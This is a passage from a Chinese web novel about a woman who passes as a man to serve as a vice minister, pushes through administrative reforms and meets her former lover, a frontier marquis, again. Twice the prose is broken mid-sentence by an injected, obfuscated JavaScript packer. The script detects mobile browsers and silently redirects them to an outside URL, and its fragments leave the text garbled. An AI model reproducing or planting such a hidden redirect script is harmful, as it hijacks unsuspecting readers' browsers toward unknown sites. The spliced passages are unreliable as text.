《通房入仕当侍郎》 1. 第 1 章 建祯二十三年。 夏日的午后尚有灼烫的温度,吏部右侍郎初学清大人府上,只有宋大娘和她的女儿在厨房里忙活着。 灶台周围热气腾腾,宋家母女的衣服都已经汗湿了,好在初大人和夫人对饮食并不挑剔,所以他们的饭食准备起来倒也简单。 初夫人桑静榆自医馆回到府上,今日的病患格外的少,人们大概因为这灼热的天气不愿出门,小病也就忍过去了。 桑静榆身材娇小,一双杏眼晶莹透彻,眼角下弯,仿佛自带笑意。 她脱下在医馆穿的鸦青长袍,换上桃红纱裙,插上海棠青玉簪,这才对镜满意地笑了。在医馆总是要穿得成熟些,才能得病患信任,可她还是偏爱这些轻艳的颜色。 更衣过后,对她的丫鬟小蝶笑道:“咱们且去厨房看看宋大娘有什么需要帮忙的吧。” 小蝶已经习惯了初府上这种主仆相容的气氛,她是从小跟着桑静榆的贴身丫鬟,桑静榆嫁到初府时,连点嫁妆都没有,桑老爷也不让丫鬟跟过来。 彼时初学清只是一个一穷二白的书生,桑静榆非要毁了自小的婚约嫁给初学清,便与桑家闹翻了。后来初学清考取探花,行事颇得圣意,在翰林院没多久就被派往樟安做知府,任职期间政绩斐然,任职期满又被调回京城,如今才二十三岁就做到了吏部右侍郎的位置,桑老爷慢慢接受了这个女婿,才派她来接着服侍桑静榆的。 但是初府和寻常的大官家里不一样,宋大娘、宋大叔和一双儿女,不是这府上的下人,是相当于被雇来在这府上帮忙的。 初府也不大,两进的院子,他们一家在外院住,初大人给他们工钱,他们也就帮衬着初大人打理府上的活计。 宋大叔平日驾车接送桑静榆,他儿子宋久就日常跟着初大人,他们也没有入奴籍。因而初大人和他们并不像一般主仆那样,更像是老板和伙计这种关系。 日常做饭,连夫人桑静榆都会偶尔帮忙,一点架子也没有。 小蝶从小服侍桑静榆的,她知道她家小姐在出嫁前虽然离经叛道,但也是十指不沾阳春水的。现在竟然连家常的饭菜都会做了,这让她为桑静榆感到些许委屈。 不过大概也只有初大人这种男人,才能容忍自己的妻子抛头露面在外面开医馆吧。 宋大娘见桑静榆又来帮忙,急说:“夫人您赶紧去歇着吧,在医馆待了一天也怪累的,别再往厨房凑了,我们娘俩忙得过来。” 桑静榆也不嫌热,挽住宋大娘的手,“今个儿医馆病患少,我都闲了一天了,可给我找点事做吧。” 两人正说着,听见大门口传来宋久的声音:“大人您慢点。” 接着是初学清略显虚弱的沙哑嗓音:“别去医馆找夫人了,扶我进去歇会儿就好。” 桑静榆一惊,急忙出去看,只见初学清被搀扶着的虚弱身影。 宋久本打算出门去医馆,见到她急说:“大人应是中暑了,您赶紧给看看吧。” 桑静榆扶住初学清,只见她脸色潮红,清汗直流,神色恍惚,浓眉下一双眸子都失了光亮。 桑静榆问道:“夫君这是怎么了,今早出去的时候还好好的,快坐屋里我给你把把脉。” 待桑静榆把脉完,又看了看初学清舌苔和咽喉情况,便撅起了嘴:“这是怎么了,虽然今日天热,可你在官署待着,怎么就中暑了。” 一旁的宋久忙道:“回来的路上碰到了吴将军,拉着咱家大人在太阳底下聊了半个时辰,吴将军身强体壮的无所谓,咱家大人可是文臣呀!” 初学清止住了宋久的话头道:“行了,不用多说了,你歇着去吧,这里有夫人呢。” 宋久走了后,初学清拿过茶壶倒了两杯茶,递给桑静榆一杯,无奈叹气:“无妨,也不是什么大事,吴将军与我聊了几句他当年在顺州剿匪的事,话匣子一启就忘了时间,下次我小心就是了。” 听初学清这么一说,桑静榆就知道,这吴长逸一定是故意的。 她与吴长逸是两家自小定下的亲事,吴长逸父亲是兵部尚书,而她父亲只是一个太医院院使,不过她父亲救过吴长逸父亲的命,吴家感恩就定下了这门亲。 她与吴长逸说是青梅竹马,也是从小吵架到大的。逃婚嫁初学清,也是为了堵住悠悠众口,方便行医罢了,怎的这吴长逸就扒住初学清不放了,这么多年,还是能给添乱就添乱。 想到这里,她气就不顺,“那厮就是看你这么老实好欺负,这次可不能就这么算了,我好不容易给你调理得身体好了不少,他这不是给我添堵呢么。” “吴将军对你情根深种,这么多年却避嫌不见你,只是偶尔给我找点麻烦,夺妻之恨,合该我受的。”初学清逗弄着她。 桑静榆瞥她一眼:“你可别拿我打趣。好歹你是我明面上的夫君,他这么欺负你,也就是和我过不去,正巧他母亲前日让我过府给她瞧瞧病,我还犹豫着要不要去,现在八抬大轿请我我都不去。” 桑静榆现在也是京城炙手可热的医师了,虽则女医出来开医馆的就她一个,难免有些人说三道四,可初大人身为正头夫君都没说什么,再加上她的确医术了得,渐渐名气也散了开来,尤其是这些个贵妇人,都喜欢找她来看病。 初学清轻拍她的肩,温声道:“这可不符合你的医者仁心,该去就去吧,现下正是变法的关键时期,这些个小打小闹不理也罢。我还得去找下恩师,你给我开点药,我缓一缓就走。” 桑静榆又抱怨了几句,给初学清服下了一颗药丸,又为她做了针灸,初学清身上才开始爽利了一些。 初学清走到内间屏风后,脱去绯色的官袍,里衣和束胸也换了下来。 桑静榆给她拿出了一件苍蓝云纹长衫,还有新的里衣和束胸,叨念着:“这么热的天,难为你又穿这么厚,还得绑着束胸,这得多难受啊,好在我以前女扮男装的时候,也没遇过这么热的时候。” 初学清利落地穿上长衫,“回头你再研究个方子,嗓音都能改变,这个也能变就好了。” 桑静榆揶揄伸手推了下初学清的头:“你呀你,那改变嗓音的药是短期的,停药了还可以恢复,这个要变了,可怎么恢复。” 初学清淡然一笑,她弯弓一般的浓眉下,是一对清秀的眸子,鼻梁挺直,难辨雌雄,唇色苍白还未恢复,唇上方是点点青色的胡茬,逼真极了。她唇角微扬道:“去找完恩师,我还得去趟景王殿下那,你们就别等我用饭了,今日不定什么时候能回来。” * 初学清出了府,没坐马车,也没让宋久跟着,她的恩师吏部尚书苏远达的府邸离着并不远,她索性徒步到了苏府。 待小厮通报后,她去了苏远达书房。 苏远达年逾不惑,身形清瘦,许是劳心多了,即使不皱眉,眉间的皱纹也让他显得忧心忡忡。 初学清把今日整理的各部变法情况和苏远达说了,可苏远达一直沉默着也不回应她,她心中略显忐忑。 苏远达这些天找了借口告假,太多的人找他,估摸是要从他这里入手劝阻变法,他只让初学清挡了下来。 苏远达虽是明面上变法的发起人,民间都称此次变法为“苏远达变法”,实际上变法的章程和细节都是初学清理出来的,其中关于官员考绩更是对以往的颠覆。 苏远达觉得初学清官位不够,入朝时间又太短,由他自己来发起更有权威性。 现阶段触碰了太多阶层的利益,最近建祯帝又多番敲打苏远达,即使变法的初步结果看来对社稷大有裨益,可总需要一个人出来承担这些变法的怨声。 苏远达沉默良久,把手中的册子合上,才道:“近日可能上面会有动作。现在差的,是推出一个承担骂名的人。” 其实从变法开始初学清就做好了这个准备,何况她本就是冒着欺君之罪在做这件事情。 苏远达是个纯臣,可连苏远达都不知,初学清本是女子。 她双手抱拳作揖,眼神凝重 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初学清心中一滞,喉头突然有些发堵,她缓了缓心神,按捺住心中的不安,“可定远侯正在北境戍边,突然来京,上方会如何作想……” 苏远达挥挥手,阻住了她接下来的话,“现下除了他定远侯,谁人还有这安邦之能,放心,他已上书要来京述职,这只是一个敲打,不会有什么动作,想我也是堂堂定远侯的舅父,就算有人想对我出手,也会看在定远侯的面子上思量思量。” 苏远达见她仍然眉头紧蹙,便道:“你也不必多想,为今首要的,便是朝堂之上的应对。近日我称病在家,你可要想好应对的说辞。” 初学清心绪颇乱,只觉仿似层层藤蔓扰住心神,想要缕清却没有缝隙入手。 两人正说着,就听见有人轻声地敲门。原是苏夫人来为苏远达送汤药,苏夫人是苏远达的续弦,生得容貌姣好,姿容艳丽,且是礼部尚书的庶女,虽是庶出,以其才貌做苏远达的续弦也够得上。 老夫少妻按理应该恩爱,可苏远达是个不解风趣的,只冷淡地让她放下汤药,莫来打扰。 苏夫人面露尴尬,知晓自己是打扰了他们商议正事,她本以为,当着学生的面,苏远达至少会对她态度好些,可原来他已毫不在意她的脸面。 他的恩师,为官清明,桃李成溪,在知天命的年纪做到了一部尚书,官途不可谓不顺。只是亲缘浅薄,中年丧子,又失发妻,如今的续弦,也无甚感情,只将一心扑在了公务上。 初学清见状,和苏远达说了今日中暑,身体尚有不适,便起身告辞了。 她出了苏府,天色已经渐渐变暗,徒留天边一抹淡淡的浅蓝色,小摊贩们也都已经开始收摊,街道上零星有几个人走过。 那个名字带给她的忐忑还没有消失,七年多了,这七年来,也听过他的事迹。他的定远军已经变成了大宁的一堵坚不可摧的城墙,他手下的将军们也个个都让西北诸国闻风丧胆。 其实她曾想过,既然选择了为官这条路,早晚也会再遇见裴霁曦。可是心中澎湃着的热血让她无法顾及这些,只能抱着侥幸心理。 所幸七年多了,他来京述职时她尚在樟安做知府,她调为京官后他一直久居边境,从未回京。庙堂之高和边境之远,拉开了他们两个的距离,也让她渐渐在繁忙的公务中忘记了那段过往。 可该来的终究会来,即使她转换了身份,也通过桑静榆的药改变了嗓音,甚至胡茬、喉结这种能伪装的东西,都借着桑静榆的手段掩饰好了。 可她总觉得,无论她变成什么样子,裴霁曦一定会认出她来的,一定会的。 她急匆匆地走着,去往景王的别院,想要找殿下商量一下,浑然不觉身后有个身影一直跟着她。 这时,突然有一个黑衣男子,从她对面过来,状似无意却十分用力地撞了她的肩膀一下,她一时不查,倒在了身旁的一个小摊之上。 正巧脑袋撞到了桌角,在一阵闷声的疼痛之后,她陷入了昏迷。 2. 第 2 章 初学清似乎是进入一片空旷而昏暗之地,她不知自己身在何处。她的来处,是她为之披荆斩棘的大宁,还是那个遥不可及的前世呢? 她本是一个即将毕业的大学生,初雪晴是她前世的名字,奈何先天性心脏病自小伴随着她,因着病痛的折磨,让她比旁人更加坚韧。 她的父亲,也是先天性心脏病,在她13岁的时候就去了。母亲一个人支撑不下去,没过一年就改嫁了,她则跟着祖母一起生活。祖母一直陪伴她到她大学时,也离开了她。 她知道自己的病随时有可能带走她,所以她勤奋刻苦,一刻不敢懈怠,从小到大一直成绩优异。 遗憾的是,没有密友,没有亲人,没有爱人,至死孑然一身。 前世她学的人力资源管理专业,已经到一家知名企业实习,可病躯拖累了她的努力,让她消失在最好的年华。 可一场生命旅行的结束,并不是终点。 来到大宁时,她变成了一个13岁的女孩,奇怪的是,她的样子和前世一样,只是变了年龄。 如今已辗转在大宁生活了十余年,改换户籍之后,她为自己取名初学清。前世的记忆已经越来越模糊,可现在不知怎的,她有些分不清自己身处何处。 就在她浑浑噩噩之时,听到一个熟悉的声音,在唤她的字:“煦明,可能听到我的话?快醒醒。” 她听到有人唤自己的字,挣扎着从昏暗之中脱离,努力睁开双眼,看到了景王。 景王比她年长三岁,虽年纪轻轻,但在政事上颇有见地,甚至眼光不输建祯帝,只是日常行事需遮蔽锋芒,所以他总是一副笑意炎炎的样子,此刻那张惯常笑着的面容,也染上焦急之色。 景王见她醒了,舒口气:“可算醒了,再不醒我就要召太医了。” 初学清身上乏力,只见自己躺在一个软塌之上,回想起这是景王别院的书房,努力发声,嗓音嘶哑,“殿下,究竟是怎么回事?” “你来时路上被人跟踪,暗卫发现后,不好明面提醒你,只得装作路人去撞你,不想竟撞晕了你。随后叫了你的小厮送你去医馆,实则拐弯送到了我这里,可是那跟踪之人却不见了”景王顿了顿,道,“你可知是何人在查你?” 初学清沉思片刻道:“可能是变法的原因,得罪了不少人,有人生出这样的心思也不奇怪。殿下竟然派了暗卫保护微臣?” “你不要护卫,又总不带小厮,只能给你派点暗卫,要不是暗卫,你又没有武功傍身,不定着了谁的道。”景王从旁边小几上拿过一个物件递给初学清,“暗卫背你时碰到你脖颈,不小心把这个弄了下来,不过你放心,本王的暗卫都是自小培养,十分可信。” 初学清看向他手中之物,正是桑静榆给她准备的假喉结,幸好还没丢掉,不然这个东西也是难制的。 她接过来放入怀中:“其实我早做好被揭穿的准备了,只是变法尚未完全成功,心有不甘,纵有人想要我的命,待这变法完全落地再给他们不迟。” 景王正色道:“本王既把你推进这朝堂,必能保你性命,你要明白,不只是你想要这大宁焕然一新,本王也想打破这旧局,你一身本事,岂是一个小小的变法就能耗尽你的才能,本王要的是让你为这大宁长远着想,当世之人,眼光有限,你若如此自轻,本王从何处找到其他助力呢?” 初学清自打七年前结识景王,就觉得他和一般的上位者不同,他不会把手下的人当做奴才,无论是奴才还是是女子,他都平等视之。 而景王不知为何,极其看重她,早早就发现了初学清的才能,知她女儿身仍助她参加科举,为她铺好官路,解决女扮男装的诸多不便,是她真正意义上的伯乐。所以在大多数臣子小心翼翼避开争储之事,她却从一开始就坚定了自己的立场。 而初学清也不负景王所期,凭借出色的能力和对时局的见解,中了探花。 在翰林院待了不久,建祯帝看中她的实干才能与寒门身份,将她派往樟安任知府,待她任期满回京后,由于出色政绩,又被调入吏部。 短短时间她就在吏部大放异彩,现已升任吏部侍郎,仅仅二十三岁的年龄就得如此成就,遭到很多人的诟病,但也得到更多人的佩服。 初学清道:“殿下维护之意,煦明感激不尽,可我不能总躲在恩师背后,让他来承担四方恶意。” 景王叹道:“本王知道,你非惧责的怯懦小人,可如今由苏尚书发起变法,不仅官威上合适,且他一派纯臣,不偏向任何一个皇子,不会徇私枉法,更有利于变法的力度。” 初学清敛眸道:“恩师是纯臣,可微臣不是,若恩师日后得知我早已投靠您,必会失望透顶吧。” 景王沉默片刻,轻拍她的肩:“本王与他同路,只是现阶段不宜结交,待日后深交,他也会明白你我苦心。” 初学清又缓了缓心神,才提到今日与恩师苏远达的对话。 景王知道她从前是裴霁曦的丫鬟,所以景王在听到裴霁曦欲来京城时,也紧蹙了眉头,半晌才道:“若定远侯见到你,还能认出你吗?” “他定能认出。”初学清声音很轻,语气却很坚定。 “那就尽量避免见面吧,虽说我已给你重新立了身份,但多一事不如少一事。不过你放心,即使他认出你了,我也为你铺了后路。伪造你身份时,我给你安了一个丢失的孪生妹妹,真若遇见旧人,可以此为借口。” 须臾,景王身边的李公公前来敲门,待进入之后,让身后的小太监端上了两碗甜汤,李公公用尖细的嗓音笑道:“主子,这是王妃特地吩咐让人准备的,让您和初大人尝尝。” 景王轻笑:“什么特地准备的,这是催我回府呢。” 景王妃和景王一向感情和睦,以往他们两个商量政事,王妃也是适时地让人提醒他们时辰,一方面怕景王回府晚了会有人发现,另一方面,应也是不想让景王太过劳累。 * 辞别景王,回府已近亥时,不免又被桑静榆唠叨一番,尤其是添了额头上被撞的新伤。 桑静榆知道她又没吃晚饭后,急忙让小蝶看看厨房还有没有食物,恰巧宋大娘还未入眠,便又简单做了点宵夜。 初学清不免觉得有些赧然,打扰了大伙休息,直说抱歉,小蝶对姑爷这样客气已经习惯了,摆上饭食便退下了。 待她用过宵夜,思索片刻,决定还是和桑静榆商量商量裴霁曦的事情。毕竟,景王只知她从前是定远侯的丫鬟,却不知她不只是丫鬟,还是通房丫鬟。 桑静榆听说定远侯要入京,也是一惊:“这年不年节不节的,他入京述什么职,何况以前年节也从不见他进京述职啊,他不怕上面对他起疑么?” 初学清边收着桌上的碗筷,边叹道:“他进京不需要什么理由,只要不是率大军进京,上面应该都不会有什么动作的。” 桑静榆在屋内踱来踱去,抿嘴道:“这死男人这么多年不进京,在边关好好待着不行么,偏来捣乱!”又瞧了瞧初学清,“你现在这模样,一般人也认不出吧?何况都七年过去了,他应也认不清了。” “不,他一定会认出我的。”说着,她仿佛认命般泄了气,“只是不知道,认出我了,他又会怎么办。” “要不,你不是吃桃子过敏吗,真要碰见了,你提前伪装下,就说吃桃子过敏了,戴上帷帽呢? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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桑静榆正抱怨着,宋久急急忙忙过来,被初学清一脸红疹惊了一下,又急忙道:“大人,苏府派人过来,说是今日有学子闹事,让大人切莫出府。” 初学清一惊:“闹事?在何处,可严重?” 宋久答道:“有约莫近百人人,在苏府门前闹事,听说是因为变法之事。” 初学清有些疑惑,虽说变法包含了官员录用、培训、晋升、考绩、俸禄等多个方面,但是引起大多人不满的是录用和考绩。 在录用方面,本朝以科举和举荐制结合选拔人才,其中,通过科举考试的,证明其文采斐然,可直接授官。而举荐制,一般是给世家大族以门路,对于那些不能袭爵的次子则可通过此门路进入官场。 初学清所拟的变法,对举荐制加了许多限制,一些实权职位无法通过举荐获得,且即使能举荐,也加了颇多考量方式。 因此,这次变法可以说撼动了世家大族的利益,而让在职官员最关心的,就是考绩问题,不同官职又有不同的考绩方法,而这些新方法,可谓花样颇多,让一些浑水摸鱼的官员原形毕露。 可今日是学子闹事,就让人有些摸不清头脑,虽说变法对科举制稍作改变,不再以文采为唯一定论,除了笔试,加了闻所未闻的“公务筐”,模拟官员日常应对事件,让学子在科考模拟中解决这些问题。 虽说学的内容丰富多了,但也不至于损害学子的利益。 初学清没有听宋久的,而是直接往外走去,桑静榆急忙拉住他:“你要做甚,苏大人让你待着你就待着吧,去趟这浑水干什么。” 初学清紧蹙眉头:“不可,这变法只是恩师为我担了名,可我不能做那缩头乌龟,让恩师一人面对这些。” 桑静榆知道劝不住她,只得拿了个帷帽给她:“那你好歹遮一遮脸,你这个样子,就算不怕吓到别人,也怕受风后更严重了。” 初学清戴上帷帽便走了,宋久急忙跟上,却被她制止了,让他守在家里,怕有人又会跑到侍郎府闹事。 3. 第 3 章 初学清行近苏府,只见乌央乌央的人群挤在苏府门前,苏府大门紧闭,门前是斑驳的碎鸡蛋、青菜叶的痕迹,人群中整齐的声音叫喊着:“十年寒窗,一朝变法,满腹经纶,付诸东流!” 这么大的动静,倒是引得东城兵马司的人来维护治安,只是人数众多,又打着学子的旗号,官兵不敢轻易伤人,只是把他们围了起来,这看起来不知是在制止示威的人群,还是在保护他们。 初学清血气上涌,对身旁的宋久道:“快去羽林卫,寻指挥使吴将军。” 宋久迟疑道:“吴长逸将军?”毕竟这吴将军头一天还给他家大人使绊子,这危急时刻去寻他,他能来帮忙吗? 初学清急道:“快去,皇城脚下发生这种事情,他羽林卫也有职责。” 宋久这才急忙去了。 眼见前方的人群越来越激动,甚至开始有人突破兵马司的人要向前撞开苏府大门,初学清一急,便努力钻过人群,站到大门前喊着:“我乃吏部侍郎初学清,诸位有何诉求可与我商谈。” 可她的话淹没在吵嚷的人群中,本来护在她跟前的官兵仿佛故意开了个口子,人群冲着她而来。 不知从哪伸出一个棍子,眼见就要冲她头顶打来,她伸出手护住头,一棍子打在她的右手小臂上,她的手立刻失了力气,只得用左手托着右臂,就在她以为下一闷棍会劈到她头上是,忽觉身前人群被一个黑影挡住。 只见一个宽厚的背影,以伟岸的身姿挡住了人群,又见几人过来将人群阻隔开,其中有一个声音大喊:“尔等刁民,在定远侯面前也敢造次。” 这“定远侯”三个字仿佛给人群施了定身咒,有人开始跪下,也有人不信踮脚向前看着,初学清透过帷帽的纱幔,定定看着眼前的的人。 陌生,他身形愈加高大,肩膀也愈加宽厚,脊背一如既往地挺直,浑身凛冽的气质让人不敢靠近。熟悉,还是那个梦里的少年郎,玄色衣袍下似乎散发着北方的风土味,遥远而安定。 人群渐渐安静,更多的人跟着跪下。定远侯对于大宁子民来说,就是一种安定生活的保障。 裴霁曦扭过头,看向初学清,眼神并无异色,伸出手欲扶起她。 可初学清还是愣着,眼前的面庞渐渐和七年前的人重叠,他的棱角更加分明,北方的风沙雕刻出的硬朗线条已然不见稚嫩的少年气,剑眉英挺,眸光深邃,眉眼在阳光的照耀下愈发好看。 见她没反应,裴霁曦只当她是吓坏了,两只手拖着她的肩膀扶她站立起来。 初学清这才反应过来,被他碰触过的肩膀仿佛颤栗起来。她掩饰住心神,右臂还疼着,虚虚抬手作揖:“下官吏部右侍郎初学清拜见侯爷。” 正在此时,羽林卫指挥使吴长逸总算来了,他着人将带头闹事的几个抓起来了,然后也走来抬手对定远侯一拜。 他瞥了初学清一眼,看她带着帏帽,本想问一句,但眼前场面混乱,还得先将闹事之人带走,在定远侯面前也不好讽刺初学清,就带着手下走了。 苏府下人把初学清和定远侯引到客堂,苏远达见到裴霁曦甚是激动,抓着他的肩膀上下瞧他:“今年二十有五了吧?多年未见,真是愈发英挺了!” 相较于苏远达的激动,裴霁曦就平稳多了,行礼后方道:“舅父,方才初侍郎受伤了,还是赶紧请个大夫给他瞧瞧吧。” 初学清没想到他还惦念着自己的伤,急忙道:“小伤,不碍事,内子就是医师,一会我回府让内子瞧瞧即可。” 苏远达看向初学清,问他:“你今日为何戴着帷帽,可是为了方才掩藏身份?” 初学清解释:“今日不知吃了什么东西,有些过敏了。”说着撩开帷帽一角,漏出红色肌肤,甚是吓人。 她也不敢说自己是吃桃子过敏的,任何可能和以前联系起来的事情,她都怕裴霁曦发现。 裴霁曦问道:“初夫人是医者?” 初学清解释道:“内子虽是女子,但是医术了得,平日也在医馆给人瞧病。” “难得,初侍郎清风明月,不把女子拘于后宅。”裴霁曦道,“舅父早与我书信,道这变法是初侍郎所拟,初侍郎胸有丘壑,又如此超然于世,着实让人生佩。” 初学清忙道不敢,苏远达笑道:“煦明莫要谦虚,子煦很少这么夸人,你乃我最得意的弟子,为人勤勉,见解独到,实属难得啊!” 裴霁曦道:“煦明?” 初学清回道:“煦明是下官的字,取字阳煦山立,耳清目明;苍穹至清则煦,学问至清则明;耳目至清则通;心念至清则达。” 裴霁曦沉默片刻,又道:“裴霁曦,字子煦,和初侍郎的煦字一样。” 初学清愣怔片刻,心中涌上一股酸涩,她离开时,他未及冠,还没有字。她为自己取字“煦明”,其实本取自“霁曦”之义,却未想这般巧合,竟和他的字重了。 裴霁曦继续道:“我虽与初侍郎素未谋面,可见到变法条陈,只觉相识恨晚。未料想我与初侍郎竟撞了字,我虚长初侍郎几岁,既如此,我唤你学清可好?” 他的嗓音比多年前更加低沉,他从来都是面冷心热,很少与人初见便如此亲近,可今日她以初侍郎的身份与他初见,却得他如此态度,她按住心中不着边际的回忆,点头应允。 苏远达见他二人并无初见的尴尬,心中甚慰,又让初学清给裴霁曦讲了讲变法的细节。 初学清着重讲了对官员选拔与考绩的改革,她自己是寒门出身,自是知道寒门入仕如何艰难,若不是当初建祯帝赏识她独具一格的见解,即便她是科举的佼佼者,恐也无法出头。 说到变法条陈,初学清便忘却了心中的忐忑与不安,仿似只是一个对政事侃侃而谈的普通官员。 裴霁曦听得很认真,虽然没有发表意见,但看得出来他很认同初学清的想法。 直至初学清说完,裴霁曦才道:“变法若成功,寒门的出路便清晰可见,这世道才多了几分公允。” 他第一次见到舅父寄来的变法条陈,便想到了一个人,只有从底层出来的人,才知道这世道是多么有失公允,所以他才答应舅父来京述职。若他能为世道的公允出一份力,哪怕前路未明,那人知道了,定会多一分欣慰。 听到“寒门”二字,初学清恍惚了一瞬,可心头被重逢冲击尚未缓过来,便没有深思。 苏远达让小厮为他二人续上茶,大有畅谈整日的势头,他道:“子煦,我这学生,在樟安待了三年,便让樟安有了商都的称号,陛下看重她,将她调回京城,她又拟出来如此详尽的变法,陛下也是怕她锋芒太露,才把她放在我跟前的,虽则市井传言此次变法为苏远达变法,可真正的功臣,其实是煦明。” 初学清忙自谦道:“恩师谬赞了。” 虽说是以全新的面貌在裴霁曦面前出现,可她还是如坐针毡,只是用多年官场的经验在伪装着。 苏远达又问裴霁曦打算何时进宫,裴霁曦只道已经递了请安折。 初学清右臂还有些疼,她手旁的茶盏一直未动,一是因她的帷帽,二是端茶不便,裴霁曦仿佛看出她的不妥,贴心道:“学清的伤,还是早些让大夫看看为好。” 初学清顺势告辞,苏远达纵有心想继续畅谈,可还是她的伤更紧要,便同裴霁曦一起送初学清出府。 穿过庭院用卵石铺就的小径上,裴霁曦踩到一块松动的卵石,他倾身捡起,将卵石放在手中端详一番,对苏远达道:“舅父,这石头十分别致,送我可好?” 苏远达有些诧异,只是一块不值钱的卵石,如何就别致了,但他也没计较,“子煦喜欢,便是这一路的卵石都可以拿走。” 初学清隔着帷帽看到他手中圆润的石头,看上去和其他卵石并无大的不同,只是这石头通体雪白,不知她走后,裴霁曦怎么又添了个收集石头的癖好。 裴霁曦小心翼翼收起石头,谢过了苏远达。 初学清在门口告别他二人,行出苏府一段距离,忽然有个人跟在了她的身旁,悄声对她说:“初大人,小人是景王派给您的暗卫,逐影。”说着手中出示了下他的腰牌,“方才聚众闹事的学子太多,小人一时没能护好大人,还望大人见谅。” 初学清低声道:“无妨”。 “王爷让小人问您,定远侯是否会进宫觐见陛下?何时进宫?” 初学清疑惑片刻,脑中仿佛有什么线断开了,但是又抓不住,半晌思索道:“方才定远侯说过会进宫,但定于何时进宫本官并不知道。” 逐影得到消息,又隐去不知什么地方。 景王特地问她这个问题,让她觉得今天的一切都有些怪异。 从恩师要请定远侯进京,景王知道定远侯要进京,到今日学子聚众闹事,仿佛是有什么东西暗藏在平静的表象之下,可她被裴霁曦搅得乱了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13591051|143224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心神,没法仔细思考。 * 回府让桑静榆给她看了看胳膊,倒是不严重,只是些许红肿,桑静榆边为她涂药,边抱怨着:“自从听到定远侯的消息,你这就不断受伤,真是个扫把星。” 然后又看了看初学清的神色,貌似很平静,她才接着说,“今日给几个贵妇看病时闲谈了一些,你可知定远侯已经娶过亲了?” 初学清一愣,半晌无语。 桑静榆继续道:“听说他和他夫人伉俪情深,只是他夫人已经去世了,可他身边现在连一个侍妾都没有,可见两人感情甚笃。” 是了,初学清还在侯府时就听说他的未婚妻方姑娘体弱多病,没想到这还没几年的时间人已经去了。 虽然她没有见过方姑娘,但是从她兄长方若渊身上就可以看得出方家人的样子,应该是一朵温柔的解语花。 不知他们是何时成亲的,方姑娘又是何时走的。如果他们二人感情这么好,那裴霁曦失去夫人,是否特别伤心……会有那时失去她伤心吗? 初学清心如乱麻,那个在校场上带他奔驰的少年,那个捧着她的脸低喃的情郎,那个在战场上为她杀出一条血路的将军,终究是会把他的温暖也给别人的。 这是她早就知道的,只是她不敢去想象这个画面,可是现在真切听到这个消息,即使是一个已经不在人世的人,也让她如同被现实刺中了心脏,喉间压抑不住的酸涩。 她倏地起身,还在絮叨的桑静榆被吓了一跳,她只和桑静榆说了句想起来还有事要处理,就戴上帷帽转身一路走出府门。 离了家,她走进了一家酒馆,如同每一个借酒消愁的男人一样,要了一壶酒,享受酒水经过喉咙带来的刺激感,许是装男人装久了,连排解忧愁的方法都学到了。 她遇事一向不喜与别人倾诉,只自己消化,连对身边最亲密的静榆亦是如此。方才听到那个消息,面上已经遮掩不住内心的荒芜,这才逃出了府。 七年时间呼啸而过,而她一直在繁忙的公务里麻痹自己,这条路是她葬送了那份感情求来的,每当看到这个官场因她的作为发生了一点点的改变,她就努力地寻出自己内心的成就感。这是她的坚守,也是她来到这个世界的意义。 可那个人是不能碰触的回忆,她也从不敢去缕清自己的情感,他是救赎,是心动,又是束缚,是毒药。 刚喝了一口,就听到一个声音,将她从沉闷的情绪中拉出来。 只见羽林卫指挥使吴长逸拿着一壶酒走过来,语气轻蔑道:“这不是初侍郎么,怎的一个人在这里喝闷酒?被夫人赶出来吗?”说他着便上前要掀开初学清的帷帽,看到她一脸过敏痕迹后哈哈大笑。 初学清忙躲开,收起混沌的思绪,淡然一笑:“是馋酒了,夫人看我过敏不让我喝酒,怕夫人知道生气,这不是偷着来喝的么,吴将军可别做那告密小人。” 吴长逸听到这个脸色愈加难堪,本想讽刺对方感情不睦,却被这话弄得如鲠在喉,只得愤恨道:“窝囊。” 初学清也不敢再刺激他,毕竟这夺妻之恨可大可小。 其实桑静榆当初并非不满家中安排的婚事离家出走,只是不满成亲之后不能再继续医人,毕竟她是太医院院使桑大人的女儿,一身自小习得的医术就此要埋没后宅,心有不甘。 没成想和初学清误打误撞成了闺蜜,一个要掩饰身份,一个要继续行医,两人这才做了假夫妻。 吴长逸被未婚妻退婚让他名声受损,但是一个男人,尤其是他这种身份,要寻一个体面的亲事还是不难的,只是他不知为何到现在还未成亲,终究还是初学清对不起吴长逸,因此这些年吴长逸总是给他使绊子,她也不加计较。 初学清无奈笑了笑,便转了话题:“今日闹事的人送往刑部了?是否有人指使他们呢?” 吴长逸瞥了她一眼道:“我只管抓人,还管审人不成。你要打听去刑部打听去。”他想起今日见到定远侯和初学清进了苏府,又道,“我倒是从来没见过定远侯,他这名号可够响亮的,一下就能震慑住这帮闹事的。同样是武将,怎么我的名字就不能让人一下束手就擒呢。” 初学清心中一惊,今日困在脑中的种种疑惑似乎被一道白光照亮,她的心禁不住狂跳,原来如此,怎的因为不敢去想裴霁曦就忽略了这一团团的迷雾。 她忙起身,结账了之后也不理吴长逸,匆忙离去。 4. 第 4 章 初学清到了苏府,并没有进去,只是问了门口的小厮定远侯可还在,小厮说定远侯在她离去不久也走了。 她知道定远侯在京中是有府邸的,可是定远侯府应是已经荒废很久了,自他们九年前离京后,她从未靠近过定远侯府,一切与那段过去有关的东西都被她深埋起来。 可今日这隐晦的真相压在她心中太沉,她必须告诉他。 没有犹豫多久,她就去往定远侯府。 定远侯府的门前略显冷清,昏暗的夜色让这冷清的氛围更加浓厚,和定远侯如今的地位并不匹配。这么多年没人住这府邸,想来裴霁曦也不屑于去修缮。 护卫通传后,不久便出来一个小厮,微笑着冲她作揖,嘴里不停说着贵客盈门,荣幸之至之类的漂亮话。 